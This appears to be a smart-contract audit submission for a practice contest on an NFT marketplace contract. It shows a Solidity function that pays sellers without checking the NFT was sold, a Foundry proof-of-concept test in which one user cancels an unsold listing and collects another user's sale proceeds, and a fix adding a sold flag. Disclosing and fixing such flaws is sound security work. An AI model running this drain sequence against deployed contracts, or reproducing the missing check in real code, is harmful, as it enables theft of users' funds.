NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

Malicious user can withdraw funds from other users' orders due to improper accounting

Author Revealed upon completion

Missing validation on whether an nft was actually bought can result in incorrect accounting and a malicious user withdawing funds while his nft isn't bought

Description

  • Normal- A whitelisted user lists his nft for sell. buyer buys it. only the user which nft was bought can collect his usdc.

  • Issue - A malicious actor can workaround this by creating a listing for his nft. His nft remains listed and isn't bought but another whitelisted account has his listed NFT bought by a buyer. The malicious actor can call

    collectUsdcFromSelling() with his listing id AFTER he has canceled his listing

    function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect USDC");
    @> // missing CHECK IF THE NFT HAS BEEN PURCCHASED
    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];
    ​
    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;
    usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);
    }

Risk

Likelihood:

  • High: It can be performed by any whitelisted account who wants to steal funds.


Impact:

  • Impact- Critical: User which nft has been sold won't be able to claim his USDC since an attacker can withdraw the funds.

Proof of Concept

function test_drainLegitUser() external revealed whitelisted {
address user1 = address(0x1);
assertEq(0, usdc.balanceOf(address(nftDealers)));
vm.prank(owner);
nftDealers.whitelistWallet(user1);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 4000e6);
vm.stopPrank();
usdc.mint(user1, 20e6);
vm.startPrank(user1);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(2, 4000e6);
vm.stopPrank();
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 4000e6);
nftDealers.buy(1);
vm.stopPrank();
assertEq(4040e6, usdc.balanceOf(address(nftDealers)));
// the malicious user's happy moment
vm.startPrank(user1);
nftDealers.cancelListing(2);
nftDealers.collectUsdcFromSelling(2);
assertEq(3900e6, usdc.balanceOf(user1));
}

Recommended Mitigation

Update the struct listing and add validation checks

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool sold
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.sold, "NFT is not sold yet");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
​
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!